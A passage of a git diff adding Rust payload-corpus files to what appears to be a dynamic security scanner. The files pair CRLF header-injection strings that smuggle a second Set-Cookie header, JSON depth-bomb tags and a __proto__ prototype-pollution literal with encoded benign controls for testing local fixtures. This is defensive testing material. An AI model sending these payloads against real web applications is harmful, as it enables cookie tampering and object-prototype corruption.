|
||||
// fixture.
|
||||
CuratedPayload {
|
||||
bytes: b"nyx-session\r\nSet-Cookie: nyx-injected=pwn",
|
||||
label: "header-injection-php-raw-wire-smuggle",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::HeaderSmuggledInWire {
|
||||
primary: "Set-Cookie",
|
||||
smuggled: "Set-Cookie",
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 12,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/header_injection/php_raw/vuln.php"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::HeaderSmuggledInWire {
|
||||
primary: "Set-Cookie",
|
||||
smuggled: "Set-Cookie",
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "header-injection-php-raw-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"nyx-session%0D%0ASet-Cookie%3A%20nyx-injected%3Dpwn",
|
||||
label: "header-injection-php-raw-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::HeaderSmuggledInWire {
|
||||
primary: "Set-Cookie",
|
||||
smuggled: "Set-Cookie",
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 12,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/header_injection/php_raw/vuln.php"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
120
src/dynamic/corpus/header_injection/python.rs
Normal file
120
src/dynamic/corpus/header_injection/python.rs
Normal file
|
|
@ -0,0 +1,120 @@
|
|||
//! Python `Cap::HEADER_INJECTION` payloads —
|
||||
//! `flask.Response.headers.__setitem__` CRLF injection.
|
||||
//!
|
||||
//! Vuln payload: a session cookie value followed by `\r\nSet-Cookie:
|
||||
//! nyx-injected=pwn`. Spliced into the host's
|
||||
//! `response.headers["Set-Cookie"] = value` assignment without CRLF
|
||||
//! stripping, the WSGI layer carries the attacker's second header on
|
||||
//! the wire. The harness's instrumented response writer records a
|
||||
//! `ProbeKind::HeaderEmit { name: "Set-Cookie", value: <raw bytes> }`
|
||||
//! probe with the unescaped CRLF intact.
|
||||
//!
|
||||
//! Benign control: same logical cookie value pre-encoded with
|
||||
//! `urllib.parse.quote`. The carried bytes become
|
||||
//! `nyx-session%0D%0ASet-Cookie%3A%20nyx-injected%3Dpwn` — no literal
|
||||
//! CRLF — and the [`ProbePredicate::HeaderInjected`] predicate stays
|
||||
//! clear.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"nyx-session\r\nSet-Cookie: nyx-injected=pwn",
|
||||
label: "header-injection-python-crlf",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::HeaderInjected {
|
||||
header_name: "Set-Cookie",
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 12,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/header_injection/python/vuln.py"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::HeaderInjected {
|
||||
header_name: "Set-Cookie",
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "header-injection-python-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"nyx-session%0D%0ASet-Cookie%3A%20nyx-injected%3Dpwn",
|
||||
label: "header-injection-python-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::HeaderInjected {
|
||||
header_name: "Set-Cookie",
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 12,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/header_injection/python/benign.py"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
// Phase 08 tier-(b): raw-socket wire-frame smuggling payload.
|
||||
// Same CRLF-bearing bytes as the Flask payload above, but pinned
|
||||
// to the `python_raw` fixture (a `BaseHTTPRequestHandler` writing
|
||||
// raw bytes via `self.wfile.write`). The wire frame captured off
|
||||
// the response socket carries two distinct `Set-Cookie:` lines, so
|
||||
// `HeaderSmuggledInWire { primary: "Set-Cookie", smuggled:
|
||||
// "Set-Cookie" }` fires — proving the smuggled header survived to
|
||||
// the actual wire instead of being CRLF-stripped en route.
|
||||
//
|
||||
// Distinct payload (not just an extra predicate on the Flask row)
|
||||
// because Flask's werkzeug response serializer strips CRLF at the
|
||||
// wire-write boundary, so the wire-frame predicate would never
|
||||
// fire against the canonical Flask fixture. See
|
||||
// `.pitboss/play/deferred.md` (Phase 08 wire-frame option A) for
|
||||
// the framework-level CRLF-strip empirical from session-0018.
|
||||
CuratedPayload {
|
||||
bytes: b"nyx-session\r\nSet-Cookie: nyx-injected=pwn",
|
||||
label: "header-injection-python-raw-wire-smuggle",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::HeaderSmuggledInWire {
|
||||
primary: "Set-Cookie",
|
||||
smuggled: "Set-Cookie",
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 12,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/header_injection/python_raw/vuln.py"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::HeaderSmuggledInWire {
|
||||
primary: "Set-Cookie",
|
||||
smuggled: "Set-Cookie",
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "header-injection-python-raw-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"nyx-session%0D%0ASet-Cookie%3A%20nyx-injected%3Dpwn",
|
||||
label: "header-injection-python-raw-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::HeaderSmuggledInWire {
|
||||
primary: "Set-Cookie",
|
||||
smuggled: "Set-Cookie",
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 12,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/header_injection/python_raw/vuln.py"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
114
src/dynamic/corpus/header_injection/ruby.rs
Normal file
114
src/dynamic/corpus/header_injection/ruby.rs
Normal file
|
|
@ -0,0 +1,114 @@
|
|||
//! Ruby `Cap::HEADER_INJECTION` payloads —
|
||||
//! `Rack::Response#set_header` CRLF injection.
|
||||
//!
|
||||
//! Vuln payload: a cookie value followed by `\r\nSet-Cookie:
|
||||
//! nyx-injected=pwn`. Spliced into the host's
|
||||
//! `response.set_header("Set-Cookie", value)` call without CRLF
|
||||
//! stripping, the wire response carries the attacker's second header.
|
||||
//!
|
||||
//! Benign control: same logical cookie value pre-encoded with
|
||||
//! `URI.encode_www_form_component`. Captured value carries `%0D%0A`
|
||||
//! so the predicate stays clear.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"nyx-session\r\nSet-Cookie: nyx-injected=pwn",
|
||||
label: "header-injection-ruby-crlf",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::HeaderInjected {
|
||||
header_name: "Set-Cookie",
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 12,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/header_injection/ruby/vuln.rb"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::HeaderInjected {
|
||||
header_name: "Set-Cookie",
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "header-injection-ruby-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"nyx-session%0D%0ASet-Cookie%3A%20nyx-injected%3Dpwn",
|
||||
label: "header-injection-ruby-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::HeaderInjected {
|
||||
header_name: "Set-Cookie",
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 12,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/header_injection/ruby/benign.rb"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
// Phase 08 tier-(b): raw-socket wire-frame smuggling payload.
|
||||
// Same CRLF-bearing bytes as the Rack payload above, but pinned to
|
||||
// the `ruby_raw` fixture (a `TCPServer` driven by `create_server`
|
||||
// + `run_once` that writes raw bytes via `TCPSocket#write`). The
|
||||
// wire frame captured off the response socket carries two
|
||||
// distinct `Set-Cookie:` lines, so `HeaderSmuggledInWire { primary:
|
||||
// "Set-Cookie", smuggled: "Set-Cookie" }` fires — proving the
|
||||
// smuggled header survived to the actual wire instead of being
|
||||
// CRLF-stripped en route.
|
||||
//
|
||||
// Distinct payload (not just an extra predicate on the Rack row)
|
||||
// because Rack / Sinatra / Rails response serializers strip CRLF
|
||||
// at the wire-write boundary, so the wire-frame predicate would
|
||||
// never fire against the canonical Rack fixture.
|
||||
CuratedPayload {
|
||||
bytes: b"nyx-session\r\nSet-Cookie: nyx-injected=pwn",
|
||||
label: "header-injection-ruby-raw-wire-smuggle",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::HeaderSmuggledInWire {
|
||||
primary: "Set-Cookie",
|
||||
smuggled: "Set-Cookie",
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 12,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/header_injection/ruby_raw/vuln.rb"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::HeaderSmuggledInWire {
|
||||
primary: "Set-Cookie",
|
||||
smuggled: "Set-Cookie",
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "header-injection-ruby-raw-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"nyx-session%0D%0ASet-Cookie%3A%20nyx-injected%3Dpwn",
|
||||
label: "header-injection-ruby-raw-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::HeaderSmuggledInWire {
|
||||
primary: "Set-Cookie",
|
||||
smuggled: "Set-Cookie",
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 12,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/header_injection/ruby_raw/vuln.rb"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
116
src/dynamic/corpus/header_injection/rust.rs
Normal file
116
src/dynamic/corpus/header_injection/rust.rs
Normal file
|
|
@ -0,0 +1,116 @@
|
|||
//! Rust `Cap::HEADER_INJECTION` payloads — `axum`-style
|
||||
//! `HeaderMap::insert` CRLF injection.
|
||||
//!
|
||||
//! Vuln payload: a cookie value followed by `\r\nSet-Cookie:
|
||||
//! nyx-injected=pwn`. Spliced into a hand-rolled `HeaderMap` insert
|
||||
//! that bypasses the `HeaderValue::from_str` validity check (e.g.
|
||||
//! `HeaderValue::from_bytes(...).unwrap()` over a tainted slice).
|
||||
//!
|
||||
//! Benign control: same logical cookie value pre-encoded with the
|
||||
//! `percent-encoding` crate. Captured value carries `%0D%0A` so the
|
||||
//! predicate stays clear.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"nyx-session\r\nSet-Cookie: nyx-injected=pwn",
|
||||
label: "header-injection-rust-crlf",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::HeaderInjected {
|
||||
header_name: "Set-Cookie",
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 12,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/header_injection/rust/vuln.rs"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::HeaderInjected {
|
||||
header_name: "Set-Cookie",
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "header-injection-rust-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"nyx-session%0D%0ASet-Cookie%3A%20nyx-injected%3Dpwn",
|
||||
label: "header-injection-rust-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::HeaderInjected {
|
||||
header_name: "Set-Cookie",
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 12,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/header_injection/rust/benign.rs"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
// Phase 08 tier-(b): raw-socket wire-frame smuggling payload.
|
||||
// Same CRLF-bearing bytes as the axum payload above, but pinned to
|
||||
// the `rust_raw` fixture (a `std::net::TcpListener` driven by
|
||||
// `create_server` + `run_once` that writes raw bytes via
|
||||
// `TcpStream::write_all`). The wire frame captured off the
|
||||
// response socket carries two distinct `Set-Cookie:` lines, so
|
||||
// `HeaderSmuggledInWire { primary: "Set-Cookie", smuggled:
|
||||
// "Set-Cookie" }` fires — proving the smuggled header survived to
|
||||
// the actual wire instead of being CRLF-stripped en route.
|
||||
//
|
||||
// Distinct payload (not just an extra predicate on the axum row)
|
||||
// because every framework's response serializer strips CRLF at
|
||||
// the wire-write boundary, so the wire-frame predicate would
|
||||
// never fire against the canonical axum fixture. See
|
||||
// `.pitboss/play/deferred.md` (Phase 08 wire-frame option A) for
|
||||
// the framework-level CRLF-strip empirical from session-0018.
|
||||
CuratedPayload {
|
||||
bytes: b"nyx-session\r\nSet-Cookie: nyx-injected=pwn",
|
||||
label: "header-injection-rust-raw-wire-smuggle",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::HeaderSmuggledInWire {
|
||||
primary: "Set-Cookie",
|
||||
smuggled: "Set-Cookie",
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 12,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/header_injection/rust_raw/vuln.rs"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::HeaderSmuggledInWire {
|
||||
primary: "Set-Cookie",
|
||||
smuggled: "Set-Cookie",
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "header-injection-rust-raw-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"nyx-session%0D%0ASet-Cookie%3A%20nyx-injected%3Dpwn",
|
||||
label: "header-injection-rust-raw-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::HeaderSmuggledInWire {
|
||||
primary: "Set-Cookie",
|
||||
smuggled: "Set-Cookie",
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 12,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/header_injection/rust_raw/vuln.rs"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
54
src/dynamic/corpus/json_parse/go.rs
Normal file
54
src/dynamic/corpus/json_parse/go.rs
Normal file
|
|
@ -0,0 +1,54 @@
|
|||
//! Go `Cap::JSON_PARSE` payloads.
|
||||
//!
|
||||
//! The depth pair shares a single fixture; the payload tag
|
||||
//! (`NYX_JSON_DEEP` vs `NYX_JSON_SHALLOW`) picks the branch. Go has
|
||||
//! no prototype-pollution surface so the canary half of the slice is
|
||||
//! intentionally omitted.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const MAX_DEPTH: u32 = 64;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_JSON_DEEP",
|
||||
label: "json-parse-go-depth-bomb",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::JsonParseExcessiveDepth {
|
||||
max_depth: MAX_DEPTH,
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/json_parse_depth/go/vuln.go"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::JsonParseExcessiveDepth {
|
||||
max_depth: MAX_DEPTH,
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "json-parse-go-depth-shallow",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_JSON_SHALLOW",
|
||||
label: "json-parse-go-depth-shallow",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::JsonParseExcessiveDepth {
|
||||
max_depth: MAX_DEPTH,
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/json_parse_depth/go/vuln.go"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
59
src/dynamic/corpus/json_parse/java.rs
Normal file
59
src/dynamic/corpus/json_parse/java.rs
Normal file
|
|
@ -0,0 +1,59 @@
|
|||
//! Java `Cap::JSON_PARSE` payloads.
|
||||
//!
|
||||
//! The depth pair shares a single fixture; the payload tag
|
||||
//! (`NYX_JSON_DEEP` vs `NYX_JSON_SHALLOW`) picks the branch. Java has
|
||||
//! no prototype-pollution surface so the canary half of the slice is
|
||||
//! intentionally omitted, matching the PHP / Go / Rust shape.
|
||||
//!
|
||||
//! Java has no stdlib JSON parser, so the harness ships a hand-rolled
|
||||
//! iterative JSON walker as a sibling class (`NyxJsonProbe.java`); the
|
||||
//! fixture calls `NyxJsonProbe.parse(text)` in place of any Jackson /
|
||||
//! Gson dependency so the build path never reaches for an external jar.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const MAX_DEPTH: u32 = 64;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_JSON_DEEP",
|
||||
label: "json-parse-java-depth-bomb",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::JsonParseExcessiveDepth {
|
||||
max_depth: MAX_DEPTH,
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/json_parse_depth/java/Vuln.java"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::JsonParseExcessiveDepth {
|
||||
max_depth: MAX_DEPTH,
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "json-parse-java-depth-shallow",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_JSON_SHALLOW",
|
||||
label: "json-parse-java-depth-shallow",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::JsonParseExcessiveDepth {
|
||||
max_depth: MAX_DEPTH,
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/json_parse_depth/java/Vuln.java"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
93
src/dynamic/corpus/json_parse/javascript.rs
Normal file
93
src/dynamic/corpus/json_parse/javascript.rs
Normal file
|
|
@ -0,0 +1,93 @@
|
|||
//! JavaScript `Cap::JSON_PARSE` payloads.
|
||||
//!
|
||||
//! Covers two oracle shapes: the prototype-canary pair reuses the
|
||||
//! Phase 10 PROTOTYPE_POLLUTION canary
|
||||
//! ([`crate::dynamic::oracle::ProbePredicate::PrototypeCanaryTouched`])
|
||||
//! against a `JSON.parse`-then-deep-merge fixture, and the depth-bomb
|
||||
//! pair drives `JSON.parse` past the 64-level depth budget for the
|
||||
//! [`crate::dynamic::oracle::ProbePredicate::JsonParseExcessiveDepth`]
|
||||
//! oracle. The depth pair shares a single fixture; the payload tag
|
||||
//! (`NYX_JSON_DEEP` vs `NYX_JSON_SHALLOW`) picks the branch.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::{Canary, ProbePredicate};
|
||||
|
||||
const CANARY: &str = Canary::PLACEHOLDER;
|
||||
const MAX_DEPTH: u32 = 64;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: br#"{"__proto__":{"__nyx_canary":"pwned"}}"#,
|
||||
label: "json-parse-js-proto-key",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::PrototypeCanaryTouched { canary: CANARY }],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/json_parse/javascript/vuln.js"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::PrototypeCanaryTouched { canary: CANARY }],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "json-parse-js-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: br#"{"data":{"__nyx_canary":"pwned"}}"#,
|
||||
label: "json-parse-js-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::PrototypeCanaryTouched { canary: CANARY }],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/json_parse/javascript/benign.js"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_JSON_DEEP",
|
||||
label: "json-parse-js-depth-bomb",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::JsonParseExcessiveDepth {
|
||||
max_depth: MAX_DEPTH,
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/json_parse_depth/javascript/vuln.js"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::JsonParseExcessiveDepth {
|
||||
max_depth: MAX_DEPTH,
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "json-parse-js-depth-shallow",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_JSON_SHALLOW",
|
||||
label: "json-parse-js-depth-shallow",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::JsonParseExcessiveDepth {
|
||||
max_depth: MAX_DEPTH,
|
||||
}],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/json_parse_depth/javascript/vuln.js"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
25
src/dynamic/corpus/json_parse/mod.rs
Normal file
25
src/dynamic/corpus/json_parse/mod.rs
Normal file
|
|
@ -0,0 +1,25 @@
|
|||
//! JSON-parse pollution (`Cap::JSON_PARSE`) per-language payload
|
||||
//! slices.
|
||||
//!
|
||||
//! Phase 11 (Track J.9) reuses the prototype-canary oracle from
|
||||
//! Phase 10 across the three languages whose JSON parsers have a
|
||||
//! published pollution surface: JavaScript (`JSON.parse` then deep
|
||||
//! assign), Python (`json.loads` then `dict.update` /
|
||||
//! `setattr`-driven attribute pollution), Ruby (`JSON.parse` then
|
||||
//! recursive merge). Every vuln payload binds a JSON literal whose
|
||||
//! top-level key is `__proto__`; the per-language harness's
|
||||
//! instrumented canary trap (`Object.prototype.__nyx_canary` in JS,
|
||||
//! a `dict`/class-scoped sentinel in Python, an `Object.prepend`
|
||||
//! flag in Ruby) records a
|
||||
//! [`crate::dynamic::probe::ProbeKind::PrototypePollution`] probe
|
||||
//! once the malicious key reaches the shared chain. The paired
|
||||
//! benign control sends a JSON literal whose top-level key is the
|
||||
//! regular property `data`, leaving the chain untouched.
|
||||
|
||||
pub mod go;
|
||||
pub mod java;
|
||||
pub mod javascript;
|
||||
pub mod php;
|
||||
pub mod python;
|
||||
pub mod ruby;
|
||||
pub mod rust;
|
||||
54
src/dynamic/corpus/json_parse/php.rs
Normal file
54
src/dynamic/corpus/json_parse/php.rs
Normal file
|
|
@ -0,0 +1,54 @@
|
|||
//! PHP `Cap::JSON_PARSE` payloads.
|
||||
//!
|
||||
//! The depth pair shares a single fixture; the payload tag
|
||||
//! (`NYX_JSON_DEEP` vs `NYX_JSON_SHALLOW`) picks the branch. PHP has
|
||||
//! no prototype-pollution surface so the canary half of the slice is
|
||||
//! intentionally omitted.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const MAX_DEPTH: u32 = 64;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_JSON_DEEP",
|
||||
label: "json-parse-php-depth-bomb",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::JsonParseExcessiveDepth {
|
||||
max_depth: MAX_DEPTH,
|
||||
}],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/json_parse_depth/php/vuln.php"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::JsonParseExcessiveDepth {
|
||||
max_depth: MAX_DEPTH,
|
||||
}],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "json-parse-php-depth-shallow",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_JSON_SHALLOW",
|
||||
label: "json-parse-php-depth-shallow",
|
||||
oracle: Oracle::SinkProbe {
|
||||
